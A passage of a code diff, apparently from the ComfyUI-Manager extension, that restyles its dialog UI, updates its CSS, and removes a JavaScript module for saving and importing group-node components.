share_combo.appendChild($el('option', { value: option[0], text: `Share: ${option[1]}` }, []));
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
}
api.fetchApi('/v2/manager/share_option')
@@ -1041,33 +1022,14 @@ class ManagerMenuDialog extends ComfyDialog {
}
});
let component_policy_combo = document.createElement("select");
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
component_policy_combo.className = "cm-menu-combo";
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Component: Use workflow version' }, []));
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Component: Use higher version' }, []));
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Component: Use my version' }, []));
api.fetchApi('/v2/manager/policy/component')
.then(response => response.text())
.then(data => {
component_policy_combo.value = data;
set_component_policy(data);
});
component_policy_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/policy/component?value=${event.target.value}`);
set_component_policy(event.target.value);
});
const shareSetttingItem = createSettingsCombo("Share", share_combo);
update_policy_combo = document.createElement("select");
if(isElectron)
update_policy_combo.style.display = 'none';
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
update_policy_combo.className = "cm-menu-combo";
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'Update: ComfyUI Stable Version' }, []));
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'Update: ComfyUI Nightly Version' }, []));
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
api.fetchApi('/v2/manager/policy/update')
.then(response => response.text())
.then(data => {
@@ -1078,20 +1040,20 @@ class ManagerMenuDialog extends ComfyDialog {
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
});
return [
$el("br", {}, []),
this.datasrc_combo,
channel_combo,
preview_combo,
share_combo,
component_policy_combo,
update_policy_combo,
$el("br", {}, []),
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
if(isElectron)
updateSetttingItem.style.display = 'none';
$el("br", {}, []),
$el("filedset.cm-experimental", {}, [
return [
dbRetrievalSetttingItem,
channelSetttingItem,
shareSetttingItem,
updateSetttingItem,
//[TODO] replace mt-2 with wrapper div with flex column gap
$el("filedset.cm-experimental.mt-auto", {}, [
$el("legend.cm-experimental-legend", {}, ["EXPERIMENTAL"]),
$el("button.cm-experimental-button", {
$el("button.p-button.p-component.cm-button.cm-experimental-button", {
type: "button",
textContent: "Snapshot Manager",
onclick:
@@ -1101,7 +1063,7 @@ class ManagerMenuDialog extends ComfyDialog {
SnapshotManager.instance.show();
}
}),
$el("button.cm-experimental-button", {
$el("button.p-button.p-component.cm-button.cm-experimental-button.mt-2", {
type: "button",
textContent: "Install PIP packages",
onclick:
@@ -1119,7 +1081,7 @@ class ManagerMenuDialog extends ComfyDialog {
createControlsRight() {
const elts = [
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
id: 'cm-manual-button',
type: "button",
textContent: "Community Manual",
@@ -1170,11 +1132,11 @@ class ManagerMenuDialog extends ComfyDialog {
})
]),
$el("button", {
$el("button.p-button.p-component.cm-button", {
id: 'workflowgallery-button',
type: "button",
style: {
...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
// ...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
},
onclick: (e) => {
const last_visited_site = localStorage.getItem("wg_last_visited")
@@ -1197,7 +1159,7 @@ class ManagerMenuDialog extends ComfyDialog {
}, [
$el("p", {
id: 'workflowgallery-button-last-visited-label',
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : ''})`,
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : 'none selected'})`,
style: {
'text-align': 'center',
'color': 'var(--input-text)',
@@ -1213,13 +1175,12 @@ class ManagerMenuDialog extends ComfyDialog {
})
]),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
id: 'cm-nodeinfo-button',
type: "button",
textContent: "Nodes Info",
onclick: () => { window.open("https://ltdrdata.github.io/", "comfyui-node-info"); }
}),
$el("br", {}, []),
];
var textarea = document.createElement("div");
@@ -1234,31 +1195,23 @@ class ManagerMenuDialog extends ComfyDialog {
constructor() {
super();
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => this.close() });
const content = $el("div.cm-menu-container",
[
$el("div.cm-menu-column.gap-2", [...this.createControlsLeft()]),
$el("div.cm-menu-column.gap-2", [...this.createControlsMid()]),
$el("div.cm-menu-column.gap-2", [...this.createControlsRight()])
]
);
const content =
$el("div.comfy-modal-content",
[
$el("tr.cm-title", {}, [
$el("font", {size:6, color:"white"}, [`ComfyUI Manager ${manager_version}`])]
),
$el("br", {}, []),
$el("div.cm-menu-container",
[
$el("div.cm-menu-column", [...this.createControlsLeft()]),
$el("div.cm-menu-column", [...this.createControlsMid()]),
$el("div.cm-menu-column", [...this.createControlsRight()])
]),
const frame = buildGuiFrame(
'cm-manager-dialog', // dialog id
`ComfyUI Manager ${manager_version}`, // dialog title
"i.mdi.mdi-puzzle", // dialog icon class to show before title
content, // dialog content element
this
); // send this so we can attach close functions
$el("br", {}, []),
close_button,
]
);
content.style.width = '100%';
content.style.height = '100%';
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
this.element = frame;
}
get isVisible() {
@@ -1266,7 +1219,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
show() {
this.element.style.display = "block";
this.element.style.display = "flex";
}
toggleVisibility() {
@@ -1435,14 +1388,6 @@ app.registerExtension({
});
},
async setup() {
let orig_clear = app.graph.clear;
app.graph.clear = function () {
orig_clear.call(app.graph);
load_components();
};
load_components();
const menu = document.querySelector(".comfy-menu");
const separator = document.createElement("hr");
@@ -1571,19 +1516,6 @@ app.registerExtension({
node.prototype.getExtraMenuOptions = function (_, options) {
origGetExtraMenuOptions?.apply?.(this, arguments);
if (node.category.startsWith('group nodes>')) {
options.push({
content: "Save As Component",
callback: (obj) => {
if (!ComponentBuilderDialog.instance) {
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
}
ComponentBuilderDialog.instance.target_node = node;
ComponentBuilderDialog.instance.show();
}
}, null);
}
if (isOutputNode(node)) {
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
const hasOutput = potential_outputs.length > 0;
-812
View File
@@ -1,812 +0,0 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
import { ComfyDialog, $el } from "../../scripts/ui.js";
const SEPARATOR = ">"
let pack_map = {};
let rpack_map = {};
export function getPureName(node) {
// group nodes/
let category = null;
if(node.category) {
category = node.category.substring(12);
}
else {
category = node.constructor.category?.substring(12);
}
if(category) {
let purename = node.comfyClass.substring(category.length+1);
return purename;
}
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
return node.comfyClass.substring(9);
}
else {
return node.comfyClass;
}
}
function isValidVersionString(version) {
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
const match = version.match(versionPattern);
return match !== null &&
parseInt(match[1], 10) >= 0 &&
parseInt(match[2], 10) >= 0 &&
(!match[3] || parseInt(match[4], 10) >= 0);
}
function register_pack_map(name, data) {
if(data.packname) {
pack_map[data.packname] = name;
rpack_map[name] = data;
}
else {
rpack_map[name] = data;
}
}
function storeGroupNode(name, data, register=true) {
let extra = app.graph.extra;
if (!extra) app.graph.extra = extra = {};
let groupNodes = extra.groupNodes;
if (!groupNodes) extra.groupNodes = groupNodes = {};
groupNodes[name] = data;
if(register) {
register_pack_map(name, data);
}
}
export async function load_components() {
let data = await api.fetchApi('/v2/manager/component/loads', {method: "POST"});
let components = await data.json();
let start_time = Date.now();
let failed = [];
let failed2 = [];
for(let name in components) {
if(app.graph.extra?.groupNodes?.[name]) {
if(data) {
let data = components[name];
let category = data.packname;
if(data.category) {
category += SEPARATOR + data.category;
}
if(category == '') {
category = 'components';
}
const config = new GroupNodeConfig(name, data);
await config.registerType(category);
register_pack_map(name, data);
continue;
}
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 5000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback1
for(let i in failed) {
let name = failed[i];
if(app.graph.extra?.groupNodes?.[name]) {
continue;
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 10000) {
failed2.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback2
for(let name in failed2) {
let name = failed2[i];
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.workflow.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 30000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
}
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
let component_name = `${prefix}::${nodename}`;
let subgraph = app.graph.extra?.groupNodes?.[component_name];
if(!subgraph) {
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
}
subgraph.version = version;
subgraph.author = author;
subgraph.datetime = Date.now();
subgraph.packname = packname;
subgraph.category = category;
let body =
{
name: component_name,
workflow: subgraph
};
pack_map[packname] = component_name;
rpack_map[component_name] = subgraph;
const res = await api.fetchApi('/v2/manager/component/save', {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(body),
});
if(res.status == 200) {
storeGroupNode(component_name, subgraph);
const config = new GroupNodeConfig(component_name, subgraph);
let category = body.workflow.packname;
if(body.workflow.category) {
category += SEPARATOR + body.workflow.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
let path = await res.text();
show_message(`Component '${component_name}' is saved into:\n${path}`);
}
else
show_message(`Failed to save component.`);
}
async function import_component(component_name, component, mode) {
if(mode) {
let body =
{
name: component_name,
workflow: component
};
const res = await api.fetchApi('/v2/manager/component/save', {
method: "POST",
headers: { "Content-Type": "application/json", },
body: JSON.stringify(body)
});
}
let category = component.packname;
if(component.category) {
category += SEPARATOR + component.category;
}
if(category == '') {
category = 'components';
}
storeGroupNode(component_name, component);
const config = new GroupNodeConfig(component_name, component);
await config.registerType(category);
}
function restore_to_loaded_component(component_name) {
if(rpack_map[component_name]) {
let component = rpack_map[component_name];
storeGroupNode(component_name, component, false);
const config = new GroupNodeConfig(component_name, component);
config.registerType(component.category);
}
}
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
let last_paste_timestamp = null;
function versionCompare(v1, v2) {
let ver1;
let ver2;
if(v1 && v1 != '') {
ver1 = v1.split('.');
ver1[0] = parseInt(ver1[0]);
ver1[1] = parseInt(ver1[1]);
if(ver1.length == 2)
ver1.push(0);
else
ver1[2] = parseInt(ver2[2]);
}
else {
ver1 = [0,0,0];
}
if(v2 && v2 != '') {
ver2 = v2.split('.');
ver2[0] = parseInt(ver2[0]);
ver2[1] = parseInt(ver2[1]);
if(ver2.length == 2)
ver2.push(0);
else
ver2[2] = parseInt(ver2[2]);
}
else {
ver2 = [0,0,0];
}
if(ver1[0] > ver2[0])
return -1;
else if(ver1[0] < ver2[0])
return 1;
if(ver1[1] > ver2[1])
return -1;
else if(ver1[1] < ver2[1])
return 1;
if(ver1[2] > ver2[2])
return -1;
else if(ver1[2] < ver2[2])
return 1;
return 0;
}
function checkVersion(name, component) {
let msg = '';
if(rpack_map[name]) {
let old_version = rpack_map[name].version;
if(!old_version || old_version == '') {
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
}
else {
let c = versionCompare(old_version, component.version);
if(c < 0) {
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
}
else if(c > 0) {
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
}
else {
msg = ` '${name}' Same version (V${component.version})`;
}
}
}
else {
msg = `'${name}' NEW (V${component.version})`;
}
return msg;
}
async function handle_import_components(components) {
let msg = 'Components:\n';
let cnt = 0;
for(let name in components) {
let component = components[name];
let v = checkVersion(name, component);
if(cnt < 10) {
msg += v + '\n';
}
else if (cnt == 10) {
msg += '...\n';
}
else {
// do nothing
}
cnt++;
}
let last_name = null;
msg += '\nWill you load components?\n';
const confirmed = await customConfirm(msg);
if(confirmed) {
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
for(let name in components) {
let component = components[name];
import_component(name, component, mode);
last_name = name;
}
if(mode) {
show_message('Components are saved.');
}
else {
show_message('Components are loaded.');
}
}
if(cnt == 1 && last_name) {
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
app.canvas.graph.add(node, false);
}
}
async function handlePaste(e) {
let data = (e.clipboardData || window.clipboardData);
const items = data.items;
for(const item of items) {
if(item.kind == 'string' && item.type == 'text/plain') {
data = data.getData("text/plain");
try {
let json_data = JSON.parse(data);
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
last_paste_timestamp = json_data.timestamp;
await handle_import_components(json_data.components);
// disable paste node
localStorage.removeItem("litegrapheditor_clipboard", null);
}
else {
console.log('This components are already pasted: ignored');
}
}
catch {
// nothing to do
}
}
}
}
document.addEventListener("paste", handlePaste);
export class ComponentBuilderDialog extends ComfyDialog {
constructor() {
super();
}
clear() {
while (this.element.children.length) {
this.element.removeChild(this.element.children[0]);
}
}
show() {
this.invalidateControl();
this.element.style.display = "block";
this.element.style.zIndex = 1099;
this.element.style.width = "500px";
this.element.style.height = "480px";
}
invalidateControl() {
this.clear();
let self = this;
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
this.save_button = $el("button",
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
{
save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
self.getNodeName(), self.getPackName(), self.category.value.trim());
}
});
let default_nodename = getPureName(this.target_node).trim();
let groupNode = app.graph.extra.groupNodes[default_nodename];
let default_packname = groupNode.packname;
if(!default_packname) {
default_packname = '';
}
let default_category = groupNode.category;
if(!default_category) {
default_category = '';
}
this.default_ver = groupNode.version;
if(!this.default_ver) {
this.default_ver = '0.0';
}
let default_author = groupNode.author;
if(!default_author) {
default_author = '';
}
let delimiterIndex = default_nodename.indexOf('::');
let default_prefix = "";
if(delimiterIndex != -1) {
default_prefix = default_nodename.substring(0, delimiterIndex);
default_nodename = default_nodename.substring(delimiterIndex + 2);
}
if(!default_prefix) {
this.save_button.disabled = true;
}
this.pack_list = this.createPackListCombo();
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
this.version_string = version_string[1];
this.version_string.disabled = true;
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
this.author = author[1];
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
this.node_prefix = node_prefix[1];
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
this.manual_nodename = manual_nodename[1];
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
this.manual_packname = manual_packname[1];
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
this.category = category[1];
this.node_label = this.createNodeLabel();
let author_mode = this.createAuthorModeCheck();
this.author_mode = author_mode[0];
const content =
$el("div.comfy-modal-content",
[
$el("tr.cm-title", {}, [
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
),
$el("br", {}, []),
$el("div.cm-menu-container",
[
author_mode[0],
author_mode[1],
category[0],
author[0],
node_prefix[0],
manual_nodename[0],
manual_packname[0],
version_string[0],
this.pack_list,
$el("br", {}, []),
this.node_label
]),
$el("br", {}, []),
this.save_button,
close_button,
]
);
content.style.width = '100%';
content.style.height = '100%';
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
}
validateInput() {
let msg = "";
if(!isValidVersionString(this.version_string.value)) {
msg += 'Invalid version string: '+event.value+"\n";
}
if(this.node_prefix.value.trim() == '') {
msg += 'Node prefix cannot be empty\n';
}
if(this.manual_nodename.value.trim() == '') {
msg += 'Node name cannot be empty\n';
}
if(msg != '') {
// alert(msg);
}
this.save_button.disabled = msg != "";
}
getPackName() {
if(this.pack_list.selectedIndex == 0) {
return this.manual_packname.value.trim();
}
return this.pack_list.value.trim();
}
getNodeName() {
if(this.manual_nodename.value.trim() != '') {
return this.manual_nodename.value.trim();
}
return getPureName(this.target_node);
}
createAuthorModeCheck() {
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
check_label.style.color = "var(--fg-color)";
check_label.style.cursor = "pointer";
check.checked = false;
let self = this;
check.onchange = () => {
self.version_string.disabled = !check.checked;
if(!check.checked) {
self.version_string.value = self.default_ver;
}
else {
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
}
};
return [check, check_label];
}
createNodeLabel() {
let label = $el('p');
label.className = 'cb-node-label';
if(this.target_node.comfyClass.includes('::'))
label.textContent = getPureName(this.target_node);
else
label.textContent = " _::" + getPureName(this.target_node);
return label;
}
createLabeledInput(placeholder, label, value) {
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
let self = this;
textbox.onchange = () => {
this.validateInput.call(self);
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
}
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
return [row, textbox];
}
createPackListCombo() {
let combo = document.createElement("select");
combo.className = "cb-widget";
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
combo.appendChild($el('option', default_packname_option, []));
for(let name in pack_map) {
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
}
let self = this;
combo.onchange = function () {
if(combo.selectedIndex == 0) {
self.manual_packname.disabled = false;
}
else {
self.manual_packname.disabled = true;
}
};
return combo;
}
}
let orig_handleFile = app.handleFile;
async function handleFile(file) {
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
const reader = new FileReader();
reader.onload = async () => {
let is_component = false;
const jsonContent = JSON.parse(reader.result);
for(let name in jsonContent) {
let cand = jsonContent[name];
is_component = cand.datetime && cand.version;
break;
}
if(is_component) {
await handle_import_components(jsonContent);
}
else {
orig_handleFile.call(app, file);
}
};
reader.readAsText(file);
return;
}
orig_handleFile.call(app, file);
}
app.handleFile = handleFile;
let current_component_policy = 'workflow';
try {
api.fetchApi('/v2/manager/policy/component')
.then(response => response.text())
.then(data => { current_component_policy = data; });
}
catch {}
function getChangedVersion(groupNodes) {
if(!Object.keys(pack_map).length || !groupNodes)
return null;
let res = {};
for(let component_name in groupNodes) {
let data = groupNodes[component_name];
if(rpack_map[component_name]) {
let v = versionCompare(data.version, rpack_map[component_name].version);
res[component_name] = v;
}
}
return res;
}
const loadGraphData = app.loadGraphData;
app.loadGraphData = async function () {
if(arguments.length == 0)
return await loadGraphData.apply(this, arguments);
let graphData = arguments[0];
let groupNodes = graphData.extra?.groupNodes;
let res = getChangedVersion(groupNodes);
if(res) {
let target_components = null;
switch(current_component_policy) {
case 'higher':
target_components = Object.keys(res).filter(key => res[key] == 1);
break;
case 'mine':
target_components = Object.keys(res);
break;
default:
// do nothing
}
if(target_components) {
for(let i in target_components) {
let component_name = target_components[i];
let component = rpack_map[component_name];
if(component && graphData.extra?.groupNodes) {
graphData.extra.groupNodes[component_name] = component;
}
}
}
}
else {
console.log('Empty components: policy ignored');
}
arguments[0] = graphData;
return await loadGraphData.apply(this, arguments);
};
export function set_component_policy(v) {
current_component_policy = v;
}
let graphToPrompt = app.graphToPrompt;
app.graphToPrompt = async function () {
let p = await graphToPrompt.call(app);
try {
let groupNodes = p.workflow.extra?.groupNodes;
if(groupNodes) {
p.workflow.extra = { ... p.workflow.extra};
// get used group nodes
let used_group_nodes = new Set();
for(let node of p.workflow.nodes) {
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
used_group_nodes.add(node.type.substring(9));
}
}
// remove unused group nodes
let new_groupNodes = {};
for (let key in p.workflow.extra.groupNodes) {
if (used_group_nodes.has(key)) {
new_groupNodes[key] = p.workflow.extra.groupNodes[key];
}
}
p.workflow.extra.groupNodes = new_groupNodes;
}
}
catch(e) {
console.log(`Failed to filtering group nodes: ${e}`);
}
return p;
}
+39 -9
View File
@@ -1,8 +1,9 @@
.cn-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segue UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80%;
height: 80%;
width: 80vw;
height: 75vh;
min-height: 30em;
display: flex;
flex-direction: column;
gap: 10px;
@@ -10,6 +11,7 @@
font-family: arial, sans-serif;
text-underline-offset: 3px;
outline: none;
margin: calc(var(--spacing)*2);
}
.cn-manager .cn-flex-auto {
@@ -17,17 +19,21 @@
}
.cn-manager button {
width: auto;
position: relative;
overflow: hidden;
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-radius: 8px;
border-color: var(--border-color);
border-style: solid;
margin: 0;
padding: 4px 8px;
min-width: 100px;
}
.cn-manager button:hover {
filter: brightness(125%);
}
.cn-manager button:disabled,
.cn-manager input:disabled,
.cn-manager select:disabled {
@@ -40,8 +46,13 @@
.cn-manager .cn-manager-restart {
display: none;
background-color: #500000;
color: white;
background-color: #500000 !important;
border-color: #88181b !important;
color: white !important;
}
.cn-manager .cn-manager-restart:hover {
background-color: #88181b !important;
}
.cn-manager .cn-manager-stop {
@@ -79,7 +90,6 @@
flex-wrap: wrap;
gap: 5px;
align-items: center;
padding: 0 5px;
}
.cn-manager-header label {
@@ -91,16 +101,32 @@
.cn-manager-filter {
height: 28px;
line-height: 28px;
cursor: pointer;
padding: 0.5em 0.5em;
border: 1px solid var(--border-color);
border-radius: 6px;
background: var(--comfy-input-bg);
}
.cn-manager-filter:hover {
filter: brightness(125%);
}
.cn-manager-keywords {
height: 28px;
line-height: 28px;
padding: 0 5px 0 26px;
background: var(--comfy-input-bg);
background-size: 16px;
background-position: 5px center;
background-repeat: no-repeat;
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
border: 1px solid var(--border-color);
border-radius: 6px;
outline-color: transparent;
}
.cn-manager-status {
@@ -588,6 +614,10 @@
height: 100%;
}
.cn-install-buttons button {
padding: 4px 8px;
}
.cn-selected-buttons {
display: flex;
gap: 5px;
+35 -33
View File
@@ -1,6 +1,7 @@
import { app } from "../../scripts/app.js";
import { ComfyDialog, $el } from "../../scripts/ui.js";
import { api } from "../../scripts/api.js";
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
import {
manager_instance, rebootAPI, install_via_git_url,
@@ -18,32 +19,19 @@ loadCss("./custom-nodes-manager.css");
const gridId = "node";
const pageHtml = `
<div class="cn-manager-header">
<label>Filter
<select class="cn-manager-filter"></select>
</label>
<input class="cn-manager-keywords" type="search" placeholder="Search" />
<div class="cn-manager-status"></div>
<div class="cn-flex-auto"></div>
<div class="cn-manager-channel"></div>
</div>
<div class="cn-manager-grid"></div>
<div class="cn-manager-selection"></div>
<div class="cn-manager-message"></div>
<div class="cn-manager-footer">
<button class="cn-manager-back">
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
Back
</button>
<button class="cn-manager-restart">Restart</button>
<button class="cn-manager-stop">Stop</button>
<div class="cn-flex-auto"></div>
<button class="cn-manager-used-in-workflow">Used In Workflow</button>
<button class="cn-manager-check-update">Check Update</button>
<button class="cn-manager-check-missing">Check Missing</button>
<button class="cn-manager-install-url">Install via Git URL</button>
<div class="cn-manager cn-manager-dark">
<div class="cn-manager-grid"></div>
<div class="cn-manager-selection"></div>
<div class="cn-manager-message"></div>
<div class="cn-manager-footer">
<button class="cn-manager-restart p-button p-component">Restart</button>
<button class="cn-manager-stop p-button p-component">Stop</button>
<div class="cn-flex-auto"></div>
<button class="cn-manager-used-in-workflow p-button p-component">Used In Workflow</button>
<button class="cn-manager-check-update p-button p-component">Check Update</button>
<button class="cn-manager-check-missing p-button p-component">Check Missing</button>
<button class="cn-manager-install-url p-button p-component">Install via Git URL</button>
</div>
</div>
`;
@@ -89,11 +77,26 @@ export class CustomNodesManager {
}
init() {
this.element = $el("div", {
parent: document.body,
className: "comfy-modal cn-manager"
});
this.element.innerHTML = pageHtml;
const header = $el("div.cn-manager-header.px-2", {}, [
// $el("label", {}, [
// $el("span", { textContent: "Filter" }),
// $el("select.cn-manager-filter")
// ]),
createSettingsCombo("Filter", $el("select.cn-manager-filter")),
$el("input.cn-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
$el("div.cn-manager-status"),
$el("div.cn-flex-auto"),
$el("div.cn-manager-channel")
]);
const frame = buildGuiFrameCustomHeader(
'cn-manager-dialog', // dialog id
header, // custom header element
pageHtml, // dialog content element
this
); // send this so we can attach close functions
this.element = frame;
this.element.setAttribute("tabindex", 0);
this.element.focus();
@@ -372,7 +375,7 @@ export class CustomNodesManager {
return list.map(id => {
const bt = buttons[id];
return `<button class="cn-btn-${id}" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
return `<button class="cn-btn-${id} p-button p-component" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
}).join("");
}
@@ -655,7 +658,6 @@ export class CustomNodesManager {
}
renderGrid() {
// update theme
const globalStyle = window.getComputedStyle(document.body);
this.colorVars = {
+31 -7
View File
@@ -1,13 +1,15 @@
.cmm-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80%;
height: 80%;
width: 80vw;
height: 75vh;
min-height: 30em;
display: flex;
flex-direction: column;
gap: 10px;
color: var(--fg-color);
font-family: arial, sans-serif;
margin: calc(var(--spacing)*2);
}
.cmm-manager .cmm-flex-auto {
@@ -18,14 +20,15 @@
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-radius: 8px;
border-color: var(--border-color);
border-style: solid;
margin: 0;
padding: 4px 8px;
min-width: 100px;
}
.cmm-manager button:hover {
filter: brightness(125%);
}
.cmm-manager button:disabled,
.cmm-manager input:disabled,
.cmm-manager select:disabled {
@@ -38,7 +41,7 @@
.cmm-manager .cmm-manager-refresh {
display: none;
background-color: #000080;
background-color: #000080 !important;
color: white;
}
@@ -53,7 +56,6 @@
flex-wrap: wrap;
gap: 5px;
align-items: center;
padding: 0 5px;
}
.cmm-manager-header label {
@@ -67,16 +69,34 @@
.cmm-manager-filter {
height: 28px;
line-height: 28px;
cursor: pointer;
padding: 0.5em 0.5em;
border: 1px solid var(--border-color);
border-radius: 6px;
background: var(--comfy-input-bg);
}
.cmm-manager-type:hover,
.cmm-manager-base:hover,
.cmm-manager-filter:hover {
filter: brightness(125%);
}
.cmm-manager-keywords {
height: 28px;
line-height: 28px;
padding: 0 5px 0 26px;
background: var(--comfy-input-bg);
background-size: 16px;
background-position: 5px center;
background-repeat: no-repeat;
